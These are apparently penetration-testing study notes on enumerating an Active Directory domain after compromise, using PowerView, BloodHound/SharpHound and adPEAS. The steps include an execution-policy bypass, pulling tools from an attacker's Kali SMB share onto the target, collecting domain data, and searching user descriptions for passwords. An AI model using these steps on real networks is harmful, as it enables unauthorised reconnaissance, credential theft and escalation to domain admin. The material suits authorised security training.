- Once you have a compromise, how can you enumerate the network and increase your overall level of access?
- PowerView -- AD Enumeration tool (PowerShell)
- BloodHound -- Graphical representation of AD environment
- SharpHound -- BloodHound's collector
- adPEAS -- Just a chad of a tool.
Make sure that you ALWAYS use a new and fresh version of BloodHound and SharpHound!
PowerView:
{% embed url="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1" %}
BloodHound:
{% embed url="https://github.com/BloodHoundAD/BloodHound/releases" %}
SharpHound (Collector):
{% embed url="https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors" %}
adPEAS:
{% embed url="https://github.com/61106960/adPEAS" %}
Step 1: Transfer PowerView.ps1 on the target machine
Step 2: Set Execution Policy -- powershell -ep bypass
Step 3: Dot Sourcing -- . .\PowerView.ps1
Step 4: Start running commands!
Step 5: Get-NetDomain
Step 6: Get DC Info -- Get-NetDomainController
Step 7: Show domain policies -- Get-DomainPolicy
Step 8: User Info -- Get-NetUser
or just grab a list of domain users -- Get-NetUser | select samaccountname
Look for password in user descriptions -- Get-NetUser | select description
Step 9: Find Shares -- Invoke-ShareFinder
Step 10: Look at Group Policies -- Get-NetGPO | select displayname, whenchanged
{% embed url="https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993" %}
Run Neo4j:
neo4j console
Run BloodHound:
bloodhound
- Type in username and password
- You can utilize the PowerShell version of SharpHound for Invoking (SharpHound.ps1)
Transfer SharpHound to your target:
Kali:
impacket-smbserver smb . -smb2support
Windows:
net use \\kali-ip\smb
copy \\kali-ip\smb\SharpHound.ps1
Invoke-BloodHound:
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
- It will generate a zip file
- Obtain this zip file from the SMB file share that you created and drag and drop it into BloodHound
- Be sure to load up the pre-build queries and see what we have to do to get to DA
- Be sure to right-click on items for help with exploitation!
Should we look into custom queries?
{% embed url="https://github.com/hausec/Bloodhound-Custom-Queries" %}
Things to keep in mind:
- You use PowerView to look for users, groups, group policies, computers, etc.
- BloodHound to look at administrators, high value targets, which members are administrators, etc.
Step 1: Transfer script to Windows target (SMB server)
Step 2: Import and Invoke
Import-Module .\ADPeas.ps1
Invoke-ADPeas
Step 3: Go through slowly